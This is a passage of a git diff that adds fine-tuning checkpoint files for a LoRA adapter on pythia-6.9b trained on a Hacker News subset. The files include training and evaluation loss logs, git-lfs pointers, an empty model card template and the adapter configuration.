210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 280 + }, + { + "epoch": 3.8666666666666667, + "grad_norm": 1.9534505605697632, + "learning_rate": 4.5629629629629636e-05, + "loss": 2.065, + "step": 290 + }, + { + "epoch": 3.8666666666666667, + "eval_loss": 2.623281717300415, + "eval_runtime": 43.7442, + "eval_samples_per_second": 22.86, + "eval_steps_per_second": 2.858, + "step": 290 + }, + { + "epoch": 4.0, + "grad_norm": 1.928299069404602, + "learning_rate": 4.444444444444445e-05, + "loss": 2.0962, + "step": 300 + }, + { + "epoch": 4.0, + "eval_loss": 2.6169235706329346, + "eval_runtime": 43.7502, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 300 + }, + { + "epoch": 4.133333333333334, + "grad_norm": 2.410632371902466, + "learning_rate": 4.3259259259259264e-05, + "loss": 1.8775, + "step": 310 + }, + { + "epoch": 4.133333333333334, + "eval_loss": 2.709437370300293, + "eval_runtime": 43.8353, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 310 + }, + { + "epoch": 4.266666666666667, + "grad_norm": 2.781919240951538, + "learning_rate": 4.2074074074074075e-05, + "loss": 1.8813, + "step": 320 + }, + { + "epoch": 4.266666666666667, + "eval_loss": 2.715420722961426, + "eval_runtime": 43.8196, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 320 + }, + { + "epoch": 4.4, + "grad_norm": 2.7426798343658447, + "learning_rate": 4.088888888888889e-05, + "loss": 1.8863, + "step": 330 + }, + { + "epoch": 4.4, + "eval_loss": 2.720925807952881, + "eval_runtime": 43.9836, + "eval_samples_per_second": 22.736, + "eval_steps_per_second": 2.842, + "step": 330 + }, + { + "epoch": 4.533333333333333, + "grad_norm": 2.5579946041107178, + "learning_rate": 3.970370370370371e-05, + "loss": 1.8657, + "step": 340 + }, + { + "epoch": 4.533333333333333, + "eval_loss": 2.7156050205230713, + "eval_runtime": 43.8526, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.85, + "step": 340 + }, + { + "epoch": 4.666666666666667, + "grad_norm": 2.5620954036712646, + "learning_rate": 3.851851851851852e-05, + "loss": 1.8775, + "step": 350 + }, + { + "epoch": 4.666666666666667, + "eval_loss": 2.7065465450286865, + "eval_runtime": 43.8667, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 350 + }, + { + "epoch": 4.8, + "grad_norm": 2.4796056747436523, + "learning_rate": 3.733333333333334e-05, + "loss": 1.9735, + "step": 360 + }, + { + "epoch": 4.8, + "eval_loss": 2.7022056579589844, + "eval_runtime": 43.8669, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.85, + "step": 360 + }, + { + "epoch": 4.933333333333334, + "grad_norm": 2.311401844024658, + "learning_rate": 3.614814814814815e-05, + "loss": 1.9683, + "step": 370 + }, + { + "epoch": 4.933333333333334, + "eval_loss": 2.7018933296203613, + "eval_runtime": 43.9361, + "eval_samples_per_second": 22.76, + "eval_steps_per_second": 2.845, + "step": 370 + }, + { + "epoch": 5.066666666666666, + "grad_norm": 2.346043348312378, + "learning_rate": 3.4962962962962965e-05, + "loss": 1.8337, + "step": 380 + }, + { + "epoch": 5.066666666666666, + "eval_loss": 2.7532222270965576, + "eval_runtime": 43.8082, + "eval_samples_per_second": 22.827, + "eval_steps_per_second": 2.853, + "step": 380 + }, + { + "epoch": 5.2, + "grad_norm": 3.011246681213379, + "learning_rate": 3.377777777777778e-05, + "loss": 1.7292, + "step": 390 + }, + { + "epoch": 5.2, + "eval_loss": 2.807420492172241, + "eval_runtime": 43.8249, + "eval_samples_per_second": 22.818, + "eval_steps_per_second": 2.852, + "step": 390 + }, + { + "epoch": 5.333333333333333, + "grad_norm": 3.1823174953460693, + "learning_rate": 3.259259259259259e-05, + "loss": 1.7703, + "step": 400 + }, + { + "epoch": 5.333333333333333, + "eval_loss": 2.793494701385498, + "eval_runtime": 43.8418, + "eval_samples_per_second": 22.809, + "eval_steps_per_second": 2.851, + "step": 400 + }, + { + "epoch": 5.466666666666667, + "grad_norm": 3.0969038009643555, + "learning_rate": 3.140740740740741e-05, + "loss": 1.7738, + "step": 410 + }, + { + "epoch": 5.466666666666667, + "eval_loss": 2.799389600753784, + "eval_runtime": 44.0564, + "eval_samples_per_second": 22.698, + "eval_steps_per_second": 2.837, + "step": 410 + }, + { + "epoch": 5.6, + "grad_norm": 2.961643934249878, + "learning_rate": 3.0222222222222225e-05, + "loss": 1.7961, + "step": 420 + }, + { + "epoch": 5.6, + "eval_loss": 2.7950029373168945, + "eval_runtime": 43.8519, + "eval_samples_per_second": 22.804, + "eval_steps_per_second": 2.851, + "step": 420 + }, + { + "epoch": 5.733333333333333, + "grad_norm": 3.098991870880127, + "learning_rate": 2.9037037037037042e-05, + "loss": 1.8045, + "step": 430 + }, + { + "epoch": 5.733333333333333, + "eval_loss": 2.794708490371704, + "eval_runtime": 43.8163, + "eval_samples_per_second": 22.823, + "eval_steps_per_second": 2.853, + "step": 430 + }, + { + "epoch": 5.866666666666667, + "grad_norm": 3.1050519943237305, + "learning_rate": 2.7851851851851856e-05, + "loss": 1.8189, + "step": 440 + }, + { + "epoch": 5.866666666666667, + "eval_loss": 2.790193796157837, + "eval_runtime": 43.8333, + "eval_samples_per_second": 22.814, + "eval_steps_per_second": 2.852, + "step": 440 + }, + { + "epoch": 6.0, + "grad_norm": 2.814183473587036, + "learning_rate": 2.6666666666666667e-05, + "loss": 1.7888, + "step": 450 + }, + { + "epoch": 6.0, + "eval_loss": 2.7924447059631348, + "eval_runtime": 43.9915, + "eval_samples_per_second": 22.732, + "eval_steps_per_second": 2.841, + "step": 450 + }, + { + "epoch": 6.133333333333334, + "grad_norm": 3.243612051010132, + "learning_rate": 2.5481481481481484e-05, + "loss": 1.6686, + "step": 460 + }, + { + "epoch": 6.133333333333334, + "eval_loss": 2.8807199001312256, + "eval_runtime": 44.1448, + "eval_samples_per_second": 22.653, + "eval_steps_per_second": 2.832, + "step": 460 + }, + { + "epoch": 6.266666666666667, + "grad_norm": 4.4918212890625, + "learning_rate": 2.4296296296296298e-05, + "loss": 1.6355, + "step": 470 + }, + { + "epoch": 6.266666666666667, + "eval_loss": 2.8911144733428955, + "eval_runtime": 44.0372, + "eval_samples_per_second": 22.708, + "eval_steps_per_second": 2.839, + "step": 470 + }, + { + "epoch": 6.4, + "grad_norm": 3.3523900508880615, + "learning_rate": 2.3111111111111112e-05, + "loss": 1.6453, + "step": 480 + }, + { + "epoch": 6.4, + "eval_loss": 2.865966320037842, + "eval_runtime": 43.9698, + "eval_samples_per_second": 22.743, + "eval_steps_per_second": 2.843, + "step": 480 + }, + { + "epoch": 6.533333333333333, + "grad_norm": 3.544044256210327, + "learning_rate": 2.192592592592593e-05, + "loss": 1.6883, + "step": 490 + }, + { + "epoch": 6.533333333333333, + "eval_loss": 2.878653049468994, + "eval_runtime": 44.0273, + "eval_samples_per_second": 22.713, + "eval_steps_per_second": 2.839, + "step": 490 + }, + { + "epoch": 6.666666666666667, + "grad_norm": 3.418917179107666, + "learning_rate": 2.074074074074074e-05, + "loss": 1.713, + "step": 500 + }, + { + "epoch": 6.666666666666667, + "eval_loss": 2.876905679702759, + "eval_runtime": 44.0776, + "eval_samples_per_second": 22.687, + "eval_steps_per_second": 2.836, + "step": 500 + }, + { + "epoch": 6.8, + "grad_norm": 3.6384103298187256, + "learning_rate": 1.9555555555555557e-05, + "loss": 1.7537, + "step": 510 + }, + { + "epoch": 6.8, + "eval_loss": 2.868889808654785, + "eval_runtime": 43.8586, + "eval_samples_per_second": 22.801, + "eval_steps_per_second": 2.85, + "step": 510 + }, + { + "epoch": 6.933333333333334, + "grad_norm": 3.4803755283355713, + "learning_rate": 1.837037037037037e-05, + "loss": 1.6911, + "step": 520 + }, + { + "epoch": 6.933333333333334, + "eval_loss": 2.8681321144104004, + "eval_runtime": 43.8953, + "eval_samples_per_second": 22.781, + "eval_steps_per_second": 2.848, + "step": 520 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 8.52075743281152e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..1b36d56f3e7bbd7abe2f26b35ff49f9f8148b671 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-520/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cda8e41a408b45a7a6604c90cbebf2f8b1064d9750a6a2900ae126084a84e2d8 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..1a65ecb88011aab66995d77b25f376b062626945 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0cf1d8e7fefbdf01228d12655cdfffad6af74bf8645f992a47cf88f5ce98045a +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..4e275c539195c1d6b31607a82502ac46bdc2a6b3 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:778652372935deb77988ad66de2d5f998742f7b103409d17eacb8cb97da659b1 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..b0413aa128dc89fb63c7a74242ac1a6da3ecf5bf --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e9436217a6dd3838565d7b9845d97ff2e933eb514cc6ac99465ebc3448de3312 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3038016ab1789281fcb7570057f9ac7ff03feda9 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:67026c5b7b6af0a730215316d61a8dcdd8b26b784be7a50e23105aea365fc01d +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..63a4077807b28b89c093ae0ba6acd6aecba6f77e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-530/trainer_state.json @@ -0,0 +1,828 @@ +{ + "best_metric": 2.4732604026794434, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-nonmember-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 7.066666666666666, + "eval_steps": 10, + "global_step": 530, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37742483615875244, + "learning_rate": 7.881481481481482e-05, + "loss": 2.449, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.499645471572876, + "eval_runtime": 43.7851, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.37197864055633545, + "learning_rate": 7.762962962962963e-05, + "loss": 2.474, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.4948627948760986, + "eval_runtime": 43.7584, + "eval_samples_per_second": 22.853, + "eval_steps_per_second": 2.857, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.4249051809310913, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4313, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.488459825515747, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.41083791851997375, + "learning_rate": 7.525925925925926e-05, + "loss": 2.3956, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.484058380126953, + "eval_runtime": 43.7468, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.4243389070034027, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4302, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.4803571701049805, + "eval_runtime": 43.7346, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.397676944732666, + "learning_rate": 7.28888888888889e-05, + "loss": 2.3347, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.476881504058838, + "eval_runtime": 43.8912, + "eval_samples_per_second": 22.784, + "eval_steps_per_second": 2.848, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.35474804043769836, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4288, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.4748315811157227, + "eval_runtime": 43.7178, + "eval_samples_per_second": 22.874, + "eval_steps_per_second": 2.859, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3500179052352905, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4189, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.4732604026794434, + "eval_runtime": 43.7328, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4862900674343109, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3734, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.475278377532959, + "eval_runtime": 43.7793, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.6158331632614136, + "learning_rate": 6.814814814814815e-05, + "loss": 2.3574, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.4776110649108887, + "eval_runtime": 43.8278, + "eval_samples_per_second": 22.817, + "eval_steps_per_second": 2.852, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.6770918965339661, + "learning_rate": 6.696296296296296e-05, + "loss": 2.3454, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.4802608489990234, + "eval_runtime": 43.7989, + "eval_samples_per_second": 22.832, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.8334079384803772, + "learning_rate": 6.577777777777777e-05, + "loss": 2.3435, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.4808130264282227, + "eval_runtime": 43.7637, + "eval_samples_per_second": 22.85, + "eval_steps_per_second": 2.856, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.7085514664649963, + "learning_rate": 6.45925925925926e-05, + "loss": 2.2746, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.481640577316284, + "eval_runtime": 43.8381, + "eval_samples_per_second": 22.811, + "eval_steps_per_second": 2.851, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.9837716817855835, + "learning_rate": 6.340740740740741e-05, + "loss": 2.3891, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.482353448867798, + "eval_runtime": 43.7812, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.8127220869064331, + "learning_rate": 6.222222222222223e-05, + "loss": 2.3203, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.4834463596343994, + "eval_runtime": 43.7397, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8362072110176086, + "learning_rate": 6.103703703703704e-05, + "loss": 2.1909, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.503129005432129, + "eval_runtime": 43.7501, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.2620470523834229, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.253, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.524071216583252, + "eval_runtime": 43.733, + "eval_samples_per_second": 22.866, + "eval_steps_per_second": 2.858, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.1998324394226074, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.2446, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.5290536880493164, + "eval_runtime": 43.7796, + "eval_samples_per_second": 22.842, + "eval_steps_per_second": 2.855, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.202661395072937, + "learning_rate": 5.748148148148149e-05, + "loss": 2.2898, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.5280601978302, + "eval_runtime": 43.7487, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.4101752042770386, + "learning_rate": 5.62962962962963e-05, + "loss": 2.1206, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.5348124504089355, + "eval_runtime": 43.7317, + "eval_samples_per_second": 22.867, + "eval_steps_per_second": 2.858, + "step": 200 + }, + { + "epoch": 2.8, + "grad_norm": 1.4827243089675903, + "learning_rate": 5.511111111111112e-05, + "loss": 2.1736, + "step": 210 + }, + { + "epoch": 2.8, + "eval_loss": 2.5345828533172607, + "eval_runtime": 43.748, + "eval_samples_per_second": 22.858, + "eval_steps_per_second": 2.857, + "step": 210 + }, + { + "epoch": 2.9333333333333336, + "grad_norm": 1.4372262954711914, + "learning_rate": 5.392592592592593e-05, + "loss": 2.2083, + "step": 220 + }, + { + "epoch": 2.9333333333333336, + "eval_loss": 2.534963846206665, + "eval_runtime": 43.7358, + "eval_samples_per_second": 22.865, + "eval_steps_per_second": 2.858, + "step": 220 + }, + { + "epoch": 3.066666666666667, + "grad_norm": 1.3322038650512695, + "learning_rate": 5.274074074074074e-05, + "loss": 2.1604, + "step": 230 + }, + { + "epoch": 3.066666666666667, + "eval_loss": 2.5551891326904297, + "eval_runtime": 43.7474, + "eval_samples_per_second": 22.859, + "eval_steps_per_second": 2.857, + "step": 230 + }, + { + "epoch": 3.2, + "grad_norm": 1.7982910871505737, + "learning_rate": 5.155555555555556e-05, + "loss": 2.0041, + "step": 240 + }, + { + "epoch": 3.2, + "eval_loss": 2.619675874710083, + "eval_runtime": 43.7429, + "eval_samples_per_second": 22.861, + "eval_steps_per_second": 2.858, + "step": 240 + }, + { + "epoch": 3.3333333333333335, + "grad_norm": 2.1107077598571777, + "learning_rate": 5.037037037037037e-05, + "loss": 1.942, + "step": 250 + }, + { + "epoch": 3.3333333333333335, + "eval_loss": 2.6037955284118652, + "eval_runtime": 43.7364, + "eval_samples_per_second": 22.864, + "eval_steps_per_second": 2.858, + "step": 250 + }, + { + "epoch": 3.466666666666667, + "grad_norm": 1.9783029556274414, + "learning_rate": 4.918518518518519e-05, + "loss": 2.0183, + "step": 260 + }, + { + "epoch": 3.466666666666667, + "eval_loss": 2.6220054626464844, + "eval_runtime": 43.7512, + "eval_samples_per_second": 22.857, + "eval_steps_per_second": 2.857, + "step": 260 + }, + { + "epoch": 3.6, + "grad_norm": 1.8481639623641968, + "learning_rate": 4.8e-05, + "loss": 2.0877, + "step": 270 + }, + { + "epoch": 3.6, + "eval_loss": 2.6184496879577637, + "eval_runtime": 43.7386, + "eval_samples_per_second": 22.863, + "eval_steps_per_second": 2.858, + "step": 270 + }, + { + "epoch": 3.7333333333333334, + "grad_norm": 1.8271690607070923, + "learning_rate": 4.681481481481481e-05, + "loss": 2.1139, + "step": 280 + }, + { + "epoch": 3.7333333333333334, + "eval_loss": 2.6199121475219727, + "eval_runtime": 43.7417, + "eval_samples_per_second": 22.861, + 